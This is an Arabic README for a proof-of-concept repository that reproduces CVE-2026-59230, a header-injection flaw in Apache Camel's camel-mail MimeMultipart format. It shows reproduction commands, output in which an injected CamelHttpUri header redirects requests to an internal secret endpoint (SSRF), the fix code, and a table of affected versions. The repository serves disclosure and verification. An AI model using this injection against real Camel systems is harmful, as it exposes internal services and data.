
مُعيدات إنتاج لإثبات المفهوم لثغرة حقن الترويسة MimeMultipart في وحدة camel-mail لـ Apache Camel (CVE-2026-59230)، تُوضح هجمات SSRF عبر حقن CamelHttpUri في بيئتي تشغيل Spring Boot وQuarkus.
MimeMultipart (headersInline)براهين قابلة للتشغيل لإعادة إنتاج نفس الثغرة في Apache Camel، واحدة لكل بيئة تشغيل:
كلا المشروعين على إصدارات متأثرة (الثغرة مُصلَّحة في 4.14.9 / 4.18.4 / 4.22.0)، وكلاهما يوضّح العيب ذاته:
تنسيق بيانات MimeMultipart في camel-mail، عند إلغاء الترميز مع headersInline=true، ينسخ كل ترويسة MIME
غير قياسية من الرسالة الواردة إلى Camel Exchange عبر setHeader دون تطبيق أي
HeaderFilterStrategy. أسماء ترويسات MIME مصدرها النص غير الموثوق، لذا يمكن للمُرسِل وضع ترويسة في
النطاق الداخلي لـ Camel (مثل CamelHttpUri) وتُعيَّن على الـ Exchange — حتى بعد أن تُزيل المسار
ترويسات Camel* عند حدود HTTP. ثم يقرأ مكوّن لاحق في المصب الترويسة المتحكَّم بها المحقونة (حقن
ترويسات → CWE-74).
في هذه البراهين، تعيد الترويسة المحقونة CamelHttpUri توجيه مُنتج HTTP عند المصب من الوجهة المقصودة
/legit-backend إلى نقطة داخلية /internal/secret (SSRF)، بما يعيد بيانات داخلية بشكل مرئي.
كل دليل فرعي مشروع مكتفٍ بذاته يضم Dockerfile وdocker-compose.yml وREADME خاصًا به، مع
التفاصيل الكاملة وخطوات إعادة الإنتاج. باختصار، لأيٍّ منهما:
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
المخرجات المتوقعة على بناء متأثر:
1) Benign MIME (no injected header):
/ingest responded: LEGIT: your message was accepted
2) Malicious MIME (injected MIME header 'CamelHttpUri: http://localhost:8080/internal/secret'):
/ingest responded: SECRET: internal_db_password=S3cr3t-INTERNAL-9f2a
>>> PROVEN: ... redirecting the HTTP producer to an internal service (SSRF): true
النشرة الأمنية: https://camel.apache.org/security/CVE-2026-59230.html
أصبح MimeMultipartDataFormat.copyNonStandardHeaders يمرّر الآن كل ترويسة MIME واردة عبر
MailHeaderFilterStrategy قبل تعيينها على الـ Exchange، بما يتسق مع التصفية الواردة التي يطبّقها
مستهلك البريد بالفعل — لذلك تُسقَط ترويسات Camel* القادمة من النص غير الموثوق بدلًا من نسخها حرفيًا:
// fixed
if (headerFilterStrategy.applyFilterToExternalHeaders(header.getName(), header.getValue(),
camelMessage.getExchange())) {
continue; // filtered
}
camelMessage.setHeader(header.getName(), header.getValue());
يُنشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel على فهم الثغرة، والتحقق مما إذا كانوا متأثرين بها، والتأكد من أن الترقية تُصلحها. الحمولات حميدة (إعادة توجيه إلى نقطة محلية). لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تشغّلها.
| بيئة التشغيل | الدليل | المكدس |
|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-spring-boot 4.18.2 |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.36.0 + Camel Quarkus 3.36.0 (يضمّ Camel 4.20.0) |
| الخاصية | القيمة |
|---|
| المكوّن | camel-mail — تنسيق بيانات MimeMultipart (Spring Boot: camel-mail-starter; Quarkus: camel-quarkus-mail) |
| CWE | CWE-20 (تحقق غير صحيح من المُدخلات) → CWE-74 (حقن) |
| متجه الهجوم | نص MIME متعدد الأجزاء مخصص يُفكّك مع headersInline=true |
| الأثر | حقن ترويسات تحكم داخلية خاصة بـ Camel في الـ Exchange (هنا: CamelHttpUri → SSRF) |
| الإصدارات المتأثرة | بدءًا من 2.17.0 وحتى قبل 4.14.9، ومن 4.15.0 وحتى قبل 4.18.4، ومن 4.19.0 وحتى قبل 4.22.0 |
| الإصدارات المُصلَّحة | 4.14.9, 4.18.4, 4.22.0 |
| JIRA | CAMEL-23891 |
| الفضل | Atuin — محرك الاكتشاف الآلي للثغرات، anciety من مختبر Tencent Xuanwu Lab |